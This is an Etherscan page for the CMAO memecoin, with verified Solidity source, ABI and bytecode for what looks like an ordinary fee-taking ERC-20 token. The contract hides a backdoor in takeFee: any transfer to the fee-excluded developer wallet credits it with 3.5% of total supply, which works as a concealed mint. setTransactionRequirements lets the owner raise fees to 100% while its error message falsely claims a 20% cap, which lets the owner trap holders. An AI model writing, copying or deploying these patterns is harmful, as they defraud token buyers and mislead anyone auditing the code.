ETH Price: $3,384.25 (-1.83%)
Gas: 3 Gwei

Token

Caishen Mao (CMAO)
 

Overview

Max Total Supply

1,000,000,000 CMAO

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
80,293,888.530821918 CMAO

Value
$0.00
0x13ce24107c2aae8c47895d6df516944f40ef5579
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CMAO

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-19
*/

// SPDX-License-Identifier: MIT

/*
Caishen Mao - The memecoin of wealth & good fortune.  At the heart of this project lies the adorable and legendary figure of Caishen Mao, the God of Wealth Cat.

Website: https://www.cmao.live
Telegram: https://t.me/caishenmao_eth
Twitter: https://twitter.com/cmao_erc
*/

pragma solidity 0.8.21;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address uniPair);
}

contract CMAO is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Caishen Mao";
    string private constant _symbol = unicode"CMAO";

    uint8 private constant _decimals = 9;
    uint256 private _supply = 10 ** 9 * 10 ** _decimals;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public excludedFromFees;

    IRouter unirouter;
    address public uniPair;

    bool private startedTrading = false;
    bool private swapEnabled = true;
    uint256 private swappedTimes;
    bool private inswap;
    uint256 swapAfter;
    uint256 private feeMaxSwap = ( _supply * 1000 ) / 100000;
    uint256 private swapminFee = ( _supply * 10 ) / 100000;
    modifier lockSwap {inswap = true; _; inswap = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    
    uint256 private buyFee = 1500;
    uint256 private sellFee = 1500;
    uint256 private transferFee = 1500;
    uint256 private denominator = 10000;

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal devAddr = 0xa0f7162D1CCf8B56991d61aeCD76F38E27D7d5D8; 
    address internal teamAddr = 0xa0f7162D1CCf8B56991d61aeCD76F38E27D7d5D8;
    address internal lpAddr = 0xa0f7162D1CCf8B56991d61aeCD76F38E27D7d5D8;
    
    uint256 public transferMax = ( _supply * 350 ) / 10000;
    uint256 public buyMax = ( _supply * 350 ) / 10000;
    uint256 public walletMax = ( _supply * 350 ) / 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        unirouter = _router; uniPair = _pair;
        excludedFromFees[lpAddr] = true;
        excludedFromFees[teamAddr] = true;
        excludedFromFees[devAddr] = true;
        excludedFromFees[msg.sender] = true;
        _balances[msg.sender] = _supply;
        emit Transfer(address(0), msg.sender, _supply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function totalSupply() public view override returns (uint256) {return _supply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function startTrading() external onlyOwner {startedTrading = true;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}    
    function getOwner() external view override returns (address) { return owner; }
    

    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAfter = _swapAmount; feeMaxSwap = _supply.mul(_swapThreshold).div(uint256(100000)); 
        swapminFee = _supply.mul(_minTokenAmount).div(uint256(100000));
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (excludedFromFees[recipient]) {return transferMax;}
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
    
    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= swapminFee;
        bool aboveThreshold = balanceOf(address(this)) >= feeMaxSwap;
        return !inswap && swapEnabled && startedTrading && aboveMin && !excludedFromFees[sender] && recipient == uniPair && swappedTimes >= swapAfter && aboveThreshold;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!excludedFromFees[sender] && !excludedFromFees[recipient]){require(startedTrading, "startedTrading");}
        if(!excludedFromFees[sender] && !excludedFromFees[recipient] && recipient != address(uniPair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= walletMax, "Exceeds maximum wallet amount.");}
        if(sender != uniPair){require(amount <= buyMax || excludedFromFees[sender] || excludedFromFees[recipient], "TX Limit Exceeded");}
        require(amount <= transferMax || excludedFromFees[sender] || excludedFromFees[recipient], "TX Limit Exceeded"); 
        if(recipient == uniPair && !excludedFromFees[sender]){swappedTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapBackAndLiquidify(feeMaxSwap); swappedTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !excludedFromFees[sender] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(unirouter), tokenAmount);
        unirouter.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpAddr,
            block.timestamp);
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _supply.mul(_buy).div(10000); uint256 newTransfer = _supply.mul(_sell).div(10000); uint256 newWallet = _supply.mul(_wallet).div(10000);
        transferMax = newTx; buyMax = newTransfer; walletMax = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function swapBackAndLiquidify(uint256 tokens) private lockSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(teamAddr).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devAddr).transfer(contractBalance);}
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == uniPair){return sellFee;}
        if(sender == uniPair){return buyFee;}
        return transferFee;
    }
    
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }
    

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = unirouter.WETH();
        _approve(address(this), address(unirouter), tokenAmount);
        unirouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004b0565b6200002290633b9aca00620004c7565b60018190556006805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004c7565b6200005a9190620004e1565b600a55620186a0600154600a620000729190620004c7565b6200007e9190620004e1565b600b555f600c819055600d8190556064600e55600f556105dc6010819055601181905560125561271060138190556014805473a0f7162d1ccf8b56991d61aecd76f38e27d7d5d86001600160a01b0319918216811790925560158054821683179055601680549091169091179055600154620000fd9061015e620004c7565b620001099190620004e1565b60175561271060015461015e620001219190620004c7565b6200012d9190620004e1565b60185561271060015461015e620001459190620004c7565b620001519190620004e1565b60195534801562000160575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001eb919062000501565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000237573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025d919062000501565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ce919062000501565b600580546001600160a01b038581166001600160a01b03199283161790925560068054848416921691909117905560165481165f908152600460209081526040808320805460ff19908116600190811790925560155486168552828520805482168317905560145490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000529565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f557815f1904821115620003d957620003d9620003a1565b80851615620003e757918102915b93841c9390800290620003ba565b509250929050565b5f826200040d57506001620004aa565b816200041b57505f620004aa565b81600181146200043457600281146200043f576200045f565b6001915050620004aa565b60ff841115620004535762000453620003a1565b50506001821b620004aa565b5060208310610133831016604e8410600b841016171562000484575081810a620004aa565b620004908383620003b5565b805f1904821115620004a657620004a6620003a1565b0290505b92915050565b5f620004c060ff841683620003fd565b9392505050565b8082028115828204841417620004aa57620004aa620003a1565b5f82620004fc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000512575f80fd5b81516001600160a01b0381168114620004c0575f80fd5b6118bf80620005375f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a8578063a9059cbb1161006d578063a9059cbb14610381578063cb7f97d7146103a0578063dbe66ca0146103bf578063dd62ed3e146103ed578063f2fde38b14610431578063fe31452414610450575f80fd5b8063715018a6146102e7578063893d20e8146102fb57806395d89b41146103175780639cc35351146103435780639d8740cb14610362575f80fd5b8063293230b8116100f9578063293230b8146102095780632f54bf6e1461021f578063313ce5671461024c57806332972e46146102675780635f2869091461029e57806370a08231146102b3575f80fd5b806306fdde031461013f578063095ea7b314610184578063152bf6c8146101b357806318160ddd146101d657806323b872dd146101ea575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a4361697368656e204d616f60a81b60208201525b60405161017b919061157c565b60405180910390f35b34801561018f575f80fd5b506101a361019e3660046115de565b610465565b604051901515815260200161017b565b3480156101be575f80fd5b506101c860175481565b60405190815260200161017b565b3480156101e1575f80fd5b506101c861047b565b3480156101f5575f80fd5b506101a3610204366004611608565b6104eb565b348015610214575f80fd5b5061021d610553565b005b34801561022a575f80fd5b506101a3610239366004611646565b5f546001600160a01b0391821691161490565b348015610257575f80fd5b506040516009815260200161017b565b348015610272575f80fd5b50600654610286906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b3480156102a9575f80fd5b506101c860185481565b3480156102be575f80fd5b506101c86102cd366004611646565b6001600160a01b03165f9081526002602052604090205490565b3480156102f2575f80fd5b5061021d61059a565b348015610306575f80fd5b505f546001600160a01b0316610286565b348015610322575f80fd5b50604080518082019091526004815263434d414f60e01b602082015261016e565b34801561034e575f80fd5b5061021d61035d366004611661565b610607565b34801561036d575f80fd5b5061021d61037c366004611661565b610743565b34801561038c575f80fd5b506101a361039b3660046115de565b6107a8565b3480156103ab575f80fd5b5061021d6103ba36600461168a565b6107b4565b3480156103ca575f80fd5b506101a36103d9366004611646565b60046020525f908152604090205460ff1681565b3480156103f8575f80fd5b506101c86104073660046116d1565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b34801561043c575f80fd5b5061021d61044b366004611646565b6108a8565b34801561045b575f80fd5b506101c860195481565b5f610471338484610924565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104e69290916104e09190610a47565b90610a47565b905090565b5f6104f7848484610a52565b610548843361054385604051806060016040528060288152602001611862602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610f93565b610924565b5060015b9392505050565b5f546001600160a01b031633146105855760405162461bcd60e51b815260040161057c90611708565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105c35760405162461bcd60e51b815260040161057c90611708565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106305760405162461bcd60e51b815260040161057c90611708565b5f61065261271061064c86600154610fbe90919063ffffffff16565b90610fc9565b90505f61067061271061064c86600154610fbe90919063ffffffff16565b90505f61068e61271061064c86600154610fbe90919063ffffffff16565b60178490556018839055601981905590505f6106b96103e861064c60056106b361047b565b90610fbe565b90508084101580156106cb5750808310155b80156106d75750808210155b61073a5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161057c565b50505050505050565b5f546001600160a01b0316331461076c5760405162461bcd60e51b815260040161057c90611708565b600983905560015461078790620186a09061064c9085610fbe565b600a556001546107a090620186a09061064c9084610fbe565b600b55505050565b5f610471338484610a52565b5f546001600160a01b031633146107dd5760405162461bcd60e51b815260040161057c90611708565b600c879055600d869055600f859055600e84905560108390556011829055601281905560135461080e906001610fc9565b6010541115801561082e5750601354610828906001610fc9565b60115411155b80156108495750601354610843906001610fc9565b60125411155b61073a5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161057c565b5f546001600160a01b031633146108d15760405162461bcd60e51b815260040161057c90611708565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057c565b6001600160a01b0382166109e75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057c565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61054c828461173c565b6001600160a01b038316610ab65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057c565b6001600160a01b038216610b185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057c565b6001600160a01b0383165f90815260026020526040902054811115610b995760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161057c565b6001600160a01b0383165f9081526004602052604090205460ff16158015610bd957506001600160a01b0382165f9081526004602052604090205460ff16155b15610c2857600654600160a01b900460ff16610c285760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b604482015260640161057c565b6001600160a01b0383165f9081526004602052604090205460ff16158015610c6857506001600160a01b0382165f9081526004602052604090205460ff16155b8015610c8257506006546001600160a01b03838116911614155b8015610c9957506001600160a01b03821661dead14155b15610d11576019546001600160a01b0383165f90815260026020526040902054610cc39083610fd4565b1115610d115760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161057c565b6006546001600160a01b03848116911614610db05760185481111580610d4e57506001600160a01b0383165f9081526004602052604090205460ff165b80610d7057506001600160a01b0382165f9081526004602052604090205460ff165b610db05760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161057c565b60175481111580610dd857506001600160a01b0383165f9081526004602052604090205460ff165b80610dfa57506001600160a01b0382165f9081526004602052604090205460ff165b610e3a5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161057c565b6006546001600160a01b038381169116148015610e6f57506001600160a01b0383165f9081526004602052604090205460ff16155b15610e8c57600160075f828254610e86919061174f565b90915550505b610e97838383610fdf565b15610eac57610ea7600a54611097565b5f6007555b6001600160a01b0383165f90815260026020526040902054610ece9082610a47565b6001600160a01b0384165f90815260026020908152604080832093909355600490529081205460ff1615610f025781610f0d565b610f0d848484611207565b6001600160a01b0384165f90815260026020526040902054909150610f329082610fd4565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f859085815260200190565b60405180910390a350505050565b5f8184841115610fb65760405162461bcd60e51b815260040161057c919061157c565b505050900390565b5f61054c8284611762565b5f61054c8284611779565b5f61054c828461174f565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff161580156110195750600654600160a81b900460ff165b801561102e5750600654600160a01b900460ff165b80156110375750815b801561105b57506001600160a01b0386165f9081526004602052604090205460ff16155b801561107457506006546001600160a01b038681169116145b8015611084575060095460075410155b801561108d5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c545f936110d0936002936106b39391926110ca928391610fd4565b90610fd4565b90505f6110ec8261064c600c5486610fbe90919063ffffffff16565b90505f6110f98483610a47565b90504761110582611331565b5f6111104783610a47565b90505f61113261112b600c5488610a4790919063ffffffff16565b8390610fc9565b90505f61114a600c5483610fbe90919063ffffffff16565b9050801561115c5761115c8682611481565b600d545f90611170906106b3856002610fbe565b905080156111b1576015546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111af573d5f803e3d5ffd5b505b4780156111f1576014546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111ef573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff1615611230575060175461054c565b5f61123b8585611532565b111561132a575f61125d61124f8686611532565b6013546106b3908690610fc9565b305f908152600260205260409020549091506112799082610fd4565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c99085815260200190565b60405180910390a35f600f541180156112ec5750600f546112ea8686611532565b115b15611318576113183061dead611313600f546106b360135489610fc990919063ffffffff16565b610a52565b6113228382610a47565b91505061054c565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061136457611364611798565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113df91906117ac565b816001815181106113f2576113f2611798565b6001600160a01b0392831660209182029290920101526005546114189130911684610924565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906114509085905f908690309042906004016117c7565b5f604051808303815f87803b158015611467575f80fd5b505af1158015611479573d5f803e3d5ffd5b505050505050565b6005546114999030906001600160a01b031684610924565b60055460165460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611506573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061152b9190611836565b5050505050565b6006545f906001600160a01b03908116908316036115535750601154610475565b6006546001600160a01b03908116908416036115725750601054610475565b5060125492915050565b5f6020808352835180828501525f5b818110156115a75785810183015185820160400152820161158b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115db575f80fd5b50565b5f80604083850312156115ef575f80fd5b82356115fa816115c7565b946020939093013593505050565b5f805f6060848603121561161a575f80fd5b8335611625816115c7565b92506020840135611635816115c7565b929592945050506040919091013590565b5f60208284031215611656575f80fd5b813561054c816115c7565b5f805f60608486031215611673575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a0312156116a0575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156116e2575f80fd5b82356116ed816115c7565b915060208301356116fd816115c7565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561047557610475611728565b8082018082111561047557610475611728565b808202811582820484141761047557610475611728565b5f8261179357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156117bc575f80fd5b815161054c816115c7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118155784516001600160a01b0316835293830193918301916001016117f0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611848575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f40178b7bc60e852afff95433fa0a41efab06ae0b6e6bc875603d64d32a8101a64736f6c63430008150033

Deployed Bytecode

